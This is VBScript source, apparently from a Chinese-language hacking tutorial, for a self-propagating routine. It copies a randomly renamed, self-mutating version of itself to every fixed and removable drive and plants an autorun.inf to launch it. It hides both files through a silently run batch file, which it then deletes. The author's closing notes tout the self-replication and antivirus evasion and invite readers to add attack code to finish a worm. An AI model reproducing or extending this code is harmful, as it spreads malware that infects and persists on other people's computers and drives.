sub yitiaolong() '定义一条龙过程
on error resume next '这里是防止没有发现匹配设备时而报错
dim drivearray '初始化数组变量
dim drive '驱动器句柄变量
dim strarray '初始化字符串数组变量
dim vbcode '用于接收变异的自身代码
dim file
dim dirc '用于获取随机文件名
set fso=createobject("scripting.filesystemobject")
set objshell=createobject("wscript.shell")
drivearray=array("c:","d:","e:","f:","g:","h:") '定义一个数组,元素即为盘符,可自行增加
for i=0 to 5 '循环对比磁盘
set drive=fso.getdrive(drivearray(i)) '获取驱动器的句柄
if drive.drivetype=1 or drive.drivetype=2 then '等于1为可移动磁盘,2为固定硬盘
strarray=array("vbcode","objshell","fso","filehacker") '定义一个数组啦,用于存放要变化的字符
vbcode=fso.opentextfile(wscript.scriptfullname,1).readall '读取自身代码,并赋值给变量vbcode
for stri=0 to 3
vbcode=replace(vbcode,strarray(stri),chr((int)((rnd*22)+97))& chr((int)((rnd*22)+97))&chr((int)((rnd*22)+97))&chr((int) ((rnd*22)+97))) '用随机生成的字符取代数组离得字符
next
set file=fso.createtextfile(drivearray(i)+"\hack.txt") '如果发现移动硬盘或固定驱动器就往里面创建文件
file.writeline vbcode '往hack.txt里写入自身代码
file.close
dirc=chr((int)((rnd*22)+97))&chr((int)((rnd*22)+97))&chr((int)((rnd*22)+97))&chr((int)((rnd*22)+97)) '定义一个变量,赋值是随机的
set file=fso.getfile(drivearray(i)&"\hack.txt") '得到hack.txt的句柄
file.copy(drivearray(i)&"\"&dirc&".vbs") '复制自身为脚本文件,文件名是随机的
file.delete '删除hack.txt自身
set file=fso.createtextfile(drivearray(i)+"\autorun.txt") '在驱动器根目录里生成文本文件autorun.txt
file.writeline "[autorun]" '写入内容啦
file.writeline "open="&dirc&".vbs"
file.writeline "shell/open=打开(&0)"
file.writeline "shell/open/command="&dirc&".vbs"
file.writeline "shell/oth=资源管理器(&X)"
file.writeline "shell/oth/command="&dirc&".vbs"
file.close
set file=fso.getfile(drivearray(i)+"\autorun.txt") '这里不用说啦吧,获得句柄
file.copy(drivearray(i)+"\autorun.inf") '复制自身为autorun.inf
file.delete '删除自己
set file=fso.createtextfile(drivearray(i)+"\hack.txt") '在创建hack.txt文件
file.writeline "attrib +s +h +r "&drivearray(i)&"\autorun.inf"
file.writeline "attrib +s +h +r "&drivearray(i)&"\"&dirc&".vbs"
file.close
set file=fso.getfile(drivearray(i)+"\hack.txt")
file.copy(drivearray(i)+"\hack.bat")
file.delete
file=drivearray(i)+"\hack.bat"
objshell.run(file),vbhide '隐藏执行hack.bat文件
wscript.sleep 1000 '延时1秒再执行
objshell.run("cmd /c del "&file),vbhide '删除hack.bat
end if
next
set fso=nothing
set objshell=nothing '主要是释放内存空间,你还可以自行添加
end sub
这里已经实现自我复制,变量的自我修改,文件名的不同,autorun文件的自动生成和自我隐藏
后续的发展就要看读者啦,你的散发思维啦 , 加入进攻代码 ,就会是一个很好的VBS型的蠕虫啦
在这里先说下抱歉,文章中的自我变异免杀的功能不会很好,只能怪笔者能力有限啦,没能实现脚本的真正的自我变种
还说几句,在脚本方面,WMI 即windows管理规划,这里有强的功能,但我这方面还涉及很少啦,有机会大家一起交流啦!!!!